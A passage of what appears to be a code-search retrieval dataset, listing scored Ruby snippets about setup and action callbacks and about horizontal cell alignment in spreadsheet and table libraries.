"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.5232394",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.523231",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227454",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.52201617",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.5212327",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52079266",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.52050185",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.51754695",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51726824",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5166172",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5159343",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51578903",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51522785",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152022",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.51518047",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.51456624",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5133759",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5112076",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5106169",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.509231",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50873137",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081088",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.508059",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50677156",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50562143",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5050554",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50474834",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5036181",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5026331",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5022976",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5015441",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50121695",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5000944",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.5000019",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4996878",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.4989888",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49864885",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.49797225",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49785787",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.4976161",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49683493",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.4965126",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.4958034",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49559742",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.4954353",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.49535993",
"text": "def save_action; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.4952725",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49467874",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49423352",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49325448",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49282882",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49269363",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49269104",
"text": "def default_action; end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49252945",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.4923091",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.49194667",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49174926",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49173003",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49171105",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.4915879",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49155936",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
}
] |
afa8a25cf2abccd6e8cf0bb08210f600 | changes horizontal alignment of cell | [
{
"docid": "bfc05aebc6706341c4b767a451d4c154",
"score": "0.70323926",
"text": "def change_horizontal_alignment(alignment='center')\n validate_worksheet\n validate_horizontal_alignment(alignment)\n @style_index = modify_alignment(@workbook,@style_index,true,alignment)\n end",
"title": ""
}
] | [
{
"docid": "000b884094aa540c0dcba203bdcbfbe2",
"score": "0.7918561",
"text": "def with_alignment(horizontal, vertical)\n @cell.change_horizontal_alignment horizontal\n @cell.change_vertical_alignment vertical\n self\n end",
"title": ""
},
{
"docid": "ff83791c8af80bab07cea834b6ba09d7",
"score": "0.72794133",
"text": "def center_across!\n self.horizontal_align = :merge\n end",
"title": ""
},
{
"docid": "489444cbd248aa24b003340961f1e7cf",
"score": "0.71781427",
"text": "def applyAlignment; end",
"title": ""
},
{
"docid": "d8b03986841861753144218aa9b18fe0",
"score": "0.7115157",
"text": "def change_horizontal_alignment(alignment = 'center')\n validate_worksheet\n self.style_index = workbook.modify_alignment(self.style_index, true, alignment)\n end",
"title": ""
},
{
"docid": "f1dc14561522ce1606b73aacaaef4b05",
"score": "0.69641376",
"text": "def horizontal_alignment()\n validate_worksheet\n xf_obj = get_cell_xf\n return nil if xf_obj.alignment.nil?\n xf_obj.alignment.horizontal\n end",
"title": ""
},
{
"docid": "f1dc14561522ce1606b73aacaaef4b05",
"score": "0.69641376",
"text": "def horizontal_alignment()\n validate_worksheet\n xf_obj = get_cell_xf\n return nil if xf_obj.alignment.nil?\n xf_obj.alignment.horizontal\n end",
"title": ""
},
{
"docid": "d9d863081426615e2f228f0412f56900",
"score": "0.69285977",
"text": "def set_text_alignment(\n top_row, left_col, num_rows, num_cols,\n horizontal: nil, vertical: nil)\n return if horizontal.nil? && vertical.nil?\n\n format = Google::Apis::SheetsV4::CellFormat.new(\n horizontal_alignment: horizontal, vertical_alignment: vertical)\n subfields =\n (horizontal.nil? ? [] : ['horizontalAlignment']) +\n (vertical.nil? ? [] : ['verticalAlignment'])\n\n fields = 'userEnteredFormat(%s)' % subfields.join(',')\n format_cells(top_row, left_col, num_rows, num_cols, format, fields)\n end",
"title": ""
},
{
"docid": "687385386feeb61dbd341ab2eba248eb",
"score": "0.67328334",
"text": "def alignment; end",
"title": ""
},
{
"docid": "687385386feeb61dbd341ab2eba248eb",
"score": "0.67328334",
"text": "def alignment; end",
"title": ""
},
{
"docid": "c35f68871816689d734c84c1ff413718",
"score": "0.66055745",
"text": "def modify_alignment(workbook, style_index, is_horizontal, alignment)\n old_xf = workbook.cell_xfs[style_index]\n\n xf = old_xf.dup\n xf.alignment ||= RubyXL::Alignment.new\n\n if is_horizontal then xf.alignment.horizontal = alignment\n else xf.alignment.vertical = alignment\n end\n xf.apply_alignment = true\n\n workbook.register_new_xf(xf, style_index)\n end",
"title": ""
},
{
"docid": "df44adf927b6f3f5b86d5e9fcfed88ff",
"score": "0.65969706",
"text": "def set_center_across(flag = 1)\n set_text_h_align(6)\n end",
"title": ""
},
{
"docid": "de73cb1bb039a859a3212b181ded634c",
"score": "0.65530956",
"text": "def set_center_across(arg = 1)\n set_text_h_align(6)\n end",
"title": ""
},
{
"docid": "9d7d8610efd9bde6ab2f22fe4a704bcb",
"score": "0.65515906",
"text": "def set_center_across(_flag = 1)\n set_text_h_align(6)\n end",
"title": ""
},
{
"docid": "92bc682ca26bb16abccc9012ea901cd9",
"score": "0.6536058",
"text": "def column_align colindex, lrc\n raise ArgumentError, \"wrong alignment value sent\" if ![:right, :left, :center].include? lrc\n @calign[colindex] = lrc\n get_column(colindex).align = lrc\n @repaint_required = true\n #@recalc_required = true\n end",
"title": ""
},
{
"docid": "c164024e900f94c0e0f0c6b4f3187af5",
"score": "0.65245247",
"text": "def set_align(align = 'left')\n case align.to_s.downcase\n when 'left' then set_text_h_align(1)\n when 'centre', 'center' then set_text_h_align(2)\n when 'right' then set_text_h_align(3)\n when 'fill' then set_text_h_align(4)\n when 'justify' then set_text_h_align(5)\n when 'center_across', 'centre_across' then set_text_h_align(6)\n when 'merge' then set_text_h_align(6) # S:WE name\n when 'distributed' then set_text_h_align(7)\n when 'equal_space' then set_text_h_align(7) # ParseExcel\n\n when 'top' then set_text_v_align(0)\n when 'vcentre' then set_text_v_align(1)\n when 'vcenter' then set_text_v_align(1)\n when 'bottom' then set_text_v_align(2)\n when 'vjustify' then set_text_v_align(3)\n when 'vdistributed' then set_text_v_align(4)\n when 'vequal_space' then set_text_v_align(4) # ParseExcel\n else nil\n end\n end",
"title": ""
},
{
"docid": "b0ec36f8102c1ba9d3c17fce77de5a31",
"score": "0.65124667",
"text": "def vertAlign; end",
"title": ""
},
{
"docid": "b0ec36f8102c1ba9d3c17fce77de5a31",
"score": "0.65124667",
"text": "def vertAlign; end",
"title": ""
},
{
"docid": "8cf1ab34b9d1a95f4fa7893e46d7b847",
"score": "0.63751173",
"text": "def set_single_cell_centred\n\t\tset_all_cells( '1'.center(@cell_count,'0') )\n\tend",
"title": ""
},
{
"docid": "29beb38cf83e56b3fe523d71b9a575cf",
"score": "0.6336761",
"text": "def use_one_cell_anchor; end",
"title": ""
},
{
"docid": "778fb5f7b59804f559d05ac431849ca6",
"score": "0.630792",
"text": "def aligner\r\n @alignment == :left ? '-' : ''\r\n end",
"title": ""
},
{
"docid": "26e8d222b88571763b803cc23ca28984",
"score": "0.62978846",
"text": "def alignment(workbook, _center, heading, _colors)\n worksheet = workbook.add_worksheet('Alignment')\n\n worksheet.set_column(0, 7, 12)\n worksheet.set_row(0, 40)\n worksheet.set_selection(7, 0)\n\n format01 = workbook.add_format\n format02 = workbook.add_format\n format03 = workbook.add_format\n format04 = workbook.add_format\n format05 = workbook.add_format\n format06 = workbook.add_format\n format07 = workbook.add_format\n format08 = workbook.add_format\n format09 = workbook.add_format\n format10 = workbook.add_format\n format11 = workbook.add_format\n format12 = workbook.add_format\n format13 = workbook.add_format\n format14 = workbook.add_format\n format15 = workbook.add_format\n format16 = workbook.add_format\n format17 = workbook.add_format\n\n format02.set_align('top')\n format03.set_align('bottom')\n format04.set_align('vcenter')\n format05.set_align('vjustify')\n format06.set_text_wrap\n\n format07.set_align('left')\n format08.set_align('right')\n format09.set_align('center')\n format10.set_align('fill')\n format11.set_align('justify')\n format12.set_merge\n\n format13.set_rotation(45)\n format14.set_rotation(-45)\n format15.set_rotation(270)\n\n format16.set_shrink\n format17.set_indent(1)\n\n worksheet.write(0, 0, 'Vertical', heading)\n worksheet.write(0, 1, 'top', format02)\n worksheet.write(0, 2, 'bottom', format03)\n worksheet.write(0, 3, 'vcenter', format04)\n worksheet.write(0, 4, 'vjustify', format05)\n worksheet.write(0, 5, \"text\\nwrap\", format06)\n\n worksheet.write(2, 0, 'Horizontal', heading)\n worksheet.write(2, 1, 'left', format07)\n worksheet.write(2, 2, 'right', format08)\n worksheet.write(2, 3, 'center', format09)\n worksheet.write(2, 4, 'fill', format10)\n worksheet.write(2, 5, 'justify', format11)\n\n worksheet.write(3, 1, 'merge', format12)\n worksheet.write(3, 2, '', format12)\n\n worksheet.write(3, 3, 'Shrink ' * 3, format16)\n worksheet.write(3, 4, 'Indent', format17)\n\n worksheet.write(5, 0, 'Rotation', heading)\n worksheet.write(5, 1, 'Rotate 45', format13)\n worksheet.write(6, 1, 'Rotate -45', format14)\n worksheet.write(7, 1, 'Rotate 270', format15)\nend",
"title": ""
},
{
"docid": "b6a145e472b97dc2c9996f65177e8009",
"score": "0.6246621",
"text": "def horizontal_alignment=(value)\n value = value.to_sym\n raise ArgumentError, 'horizontal_alignment must be one of :left, :center, or :right' unless [:left, :center, :right].include?(value)\n \n @horizontal_alignment = value\n end",
"title": ""
},
{
"docid": "3c0c16bbb5a462fc1d6f69e6119255ff",
"score": "0.6242527",
"text": "def modify_alignment(workbook, style_index, is_horizontal, alignment)\n old_xf_obj = workbook.get_style(style_index)\n\n xf_obj = deep_copy(old_xf_obj)\n\n if xf_obj[:alignment].nil? || xf_obj[:alignment][:attributes].nil?\n xf_obj[:alignment] = {:attributes=>{:horizontal=>nil, :vertical=>nil}}\n end\n\n if is_horizontal\n xf_obj[:alignment][:attributes][:horizontal] = alignment.to_s\n else\n xf_obj[:alignment][:attributes][:vertical] = alignment.to_s\n end\n\n if workbook.cell_xfs[:xf].is_a?Array\n workbook.cell_xfs[:xf] << deep_copy(xf_obj)\n else\n workbook.cell_xfs[:xf] = [workbook.cell_xfs[:xf], deep_copy(xf_obj)]\n end\n\n xf = workbook.get_style_attributes(workbook.cell_xfs[:xf].last)\n xf[:applyAlignment] = '1'\n workbook.cell_xfs[:attributes][:count] += 1\n workbook.cell_xfs[:xf].size-1\n end",
"title": ""
},
{
"docid": "ac1d960d41c2cadca5c4060a770ea63a",
"score": "0.6201504",
"text": "def add_cell_alignment(table, tabular_count)\n alignments = @tabular_alignment_cache[tabular_count]\n cell_alignments = alignments.scan(/(\\|*(?:l|c|r)\\|*)/).flatten\n table.css('tr').each do |row|\n row.css('td').zip(cell_alignments).each do |cell, alignment|\n if custom_alignment?(cell)\n cell['class'] = custom_class(cell)\n else\n cell['class'] = alignment_class(alignment)\n end\n clean_node cell, %w[halign right-border left-border cols]\n end\n end\n end",
"title": ""
},
{
"docid": "2729266179b8362e4ea2cb811536fb1a",
"score": "0.61632615",
"text": "def update!(**args)\n @horizontal_alignment = args[:horizontal_alignment] if args.key?(:horizontal_alignment)\n end",
"title": ""
},
{
"docid": "2729266179b8362e4ea2cb811536fb1a",
"score": "0.61632615",
"text": "def update!(**args)\n @horizontal_alignment = args[:horizontal_alignment] if args.key?(:horizontal_alignment)\n end",
"title": ""
},
{
"docid": "b80155bfffa8a0a53c71b5fe4099e29f",
"score": "0.61362666",
"text": "def column_align colindex, align\n get_column(colindex).align = align\n end",
"title": ""
},
{
"docid": "b80155bfffa8a0a53c71b5fe4099e29f",
"score": "0.61362666",
"text": "def column_align colindex, align\n get_column(colindex).align = align\n end",
"title": ""
},
{
"docid": "24408926eaae1e09f522bbc3f676bcac",
"score": "0.6135053",
"text": "def center_horizontally\n @hcenter = 1\n end",
"title": ""
},
{
"docid": "bd88a06bcd6bf6ebfc5d5d3fc9a4fa17",
"score": "0.6087763",
"text": "def text_align\n default_opt = -'left'\n ta = options[:text_align]\n iz = ->(it, kl) { it.is_a?(kl) }\n\n if ta.nil?\n Array.new(rows, default_opt)\n elsif iz[ta, String] || iz[ta, Symbol]\n [\n Array.new(items.count, ta),\n Array.new(rows - items.count, default_opt)\n ].reduce(&:+)\n elsif iz[ta, Array]\n ta + Array.new(rows - ta.count, default_opt)\n end\n end",
"title": ""
},
{
"docid": "43ab1e8735b3820118e91e1103b9a375",
"score": "0.6069366",
"text": "def align_table(table)\n return table if @align.nil?\n\n @align.each_key do |key|\n @align[key.to_sym].each { |x| table.align_column(x, key.to_sym) }\n end\n\n table\n end",
"title": ""
},
{
"docid": "0a9575958fb3418c22ebd575d081ba31",
"score": "0.6020007",
"text": "def align(other)\n return nil unless model_width == other.model_width\n HAln.new(self, other)\n end",
"title": ""
},
{
"docid": "022e9c3ef398c0b6279b1704c4008ced",
"score": "0.5997702",
"text": "def align(rows)\n cols = rows.first.length\n lengths = [0] * cols\n\n cols.times do |i|\n rows.each do |r|\n lengths[i] = r[i].length if r[i] && r[i].length > lengths[i]\n end\n end\n\n rows.map do |r|\n \"# #{r.zip(lengths).map{|c, l| c.to_s.ljust(l).gsub(\"\\n\", \"\\n# \")}.join(' | ')}\".strip\n end\n end",
"title": ""
},
{
"docid": "322f410cab3abca8b6e14b455bd8a0a8",
"score": "0.5996293",
"text": "def align= location\n self.horizontal_align = location\n rescue ArgumentError\n self.vertical_align = location rescue ArgumentError\n end",
"title": ""
},
{
"docid": "e4eb2cd3698b8f99415e7b29d08aa9d4",
"score": "0.59800816",
"text": "def cellStyles; end",
"title": ""
},
{
"docid": "ab183e6e606c4a4651324ca22f833aaf",
"score": "0.5971499",
"text": "def change_vertical_alignment(alignment = 'center')\n validate_worksheet\n self.style_index = workbook.modify_alignment(self.style_index, false, alignment)\n end",
"title": ""
},
{
"docid": "54a2d0301eeb4e255bdc586af9b5f237",
"score": "0.597109",
"text": "def align=(value)\n @style.textAlign = value\n end",
"title": ""
},
{
"docid": "b9028800204bfaa8780f1b3f627a3ce4",
"score": "0.5969664",
"text": "def format_column value, width, alignment\n value_s = value.to_s.strip\n if value_s.size > width then\n alignment = :left # force to left is we wrap\n value_s = wrap_text(value_s, width).strip\n end\n case alignment\n when :left\n value_s.ljust(width)\n when :right\n value_s.rjust(width)\n else\n value_s.center(width)\n end\n end",
"title": ""
},
{
"docid": "40398629524016e6a4296f24d5ff1aaa",
"score": "0.59524274",
"text": "def SetCellPadding(pad)\n @c_margin = pad\n end",
"title": ""
},
{
"docid": "696a1626f7d676e8a4c0eaa8020a2d15",
"score": "0.59510624",
"text": "def align(with, pad=0) \n \n end",
"title": ""
},
{
"docid": "7a39e8303daff433b87cc94ceca4ec40",
"score": "0.59361553",
"text": "def custom_alignment?(cell)\n cell['cols']\n end",
"title": ""
},
{
"docid": "6c69b957f41deddeef5136696940c839",
"score": "0.59354115",
"text": "def realign_center\n\t\t\t\tnil\n\t\t\tend",
"title": ""
},
{
"docid": "6c69b957f41deddeef5136696940c839",
"score": "0.5934627",
"text": "def realign_center\n\t\t\t\tnil\n\t\t\tend",
"title": ""
},
{
"docid": "35911286b19f95e04927befa22b2ec33",
"score": "0.5932973",
"text": "def validate_horizontal_alignment(v); end",
"title": ""
},
{
"docid": "92bc83a6872ec9634d00e5a5329573ff",
"score": "0.59256244",
"text": "def position_cells\n# Calculate x- and y-positions as running sums of widths / heights.\nx_positions = column_widths.inject([0]) { |ary, x|\nary << (ary.last + x); ary }[0..-2]\nx_positions.each_with_index { |x, i| column(i).x = x }\n# y-positions assume an infinitely long canvas starting at zero -- this\n# is corrected for in Table#draw, and page breaks are properly inserted.\ny_positions = row_heights.inject([0]) { |ary, y|\nary << (ary.last - y); ary}[0..-2]\ny_positions.each_with_index { |y, i| row(i).y = y }\nend",
"title": ""
},
{
"docid": "ba7e413bd6ef33d2c60ba75f625896d9",
"score": "0.59247935",
"text": "def alignment=(where)\n\t\t\t@align = where\n\t\t\talign\n\t\tend",
"title": ""
},
{
"docid": "ce70d04554cf470abe6eaf6ac7fff12e",
"score": "0.5913553",
"text": "def table_row(row,blank_first)\n\t\t\tstr = ( blank_first ? (row[0]/2).to_s.center(3) : \" \")+\"|\"\n\t\t\trow.each_with_index { |int,index|\n\t\t\t\tstr+= int.to_s.center(@cell_width[index])+'|'\n\t\t\t}\n\t\t\treturn str\n\t\tend",
"title": ""
},
{
"docid": "9b158aaf635bf234efba8b1b97ad8d12",
"score": "0.589794",
"text": "def use_two_cell_anchor; end",
"title": ""
},
{
"docid": "70f5d4aed70f072b9a9a7fc43980e5e3",
"score": "0.5875446",
"text": "def default_cell_style\n if @default_cell_style.nil?\n st = SimpleStyle.new\n st.borders = BORDER_ALL\n st.text[:valign] = \"Center\"\n @default_cell_style = st\n end\n @default_cell_style\n end",
"title": ""
},
{
"docid": "b2aab3097a5cbdb221461b6e7c701666",
"score": "0.5845753",
"text": "def horizontal; end",
"title": ""
},
{
"docid": "899e89cde5a0aafc1186bb40e7b8ba9b",
"score": "0.5844696",
"text": "def table_cell_space(content, cell_width)\n # NOTE: subtracts 1 for space at start of cell\n ' ' * (cell_width - content.to_s.length - 1)\nend",
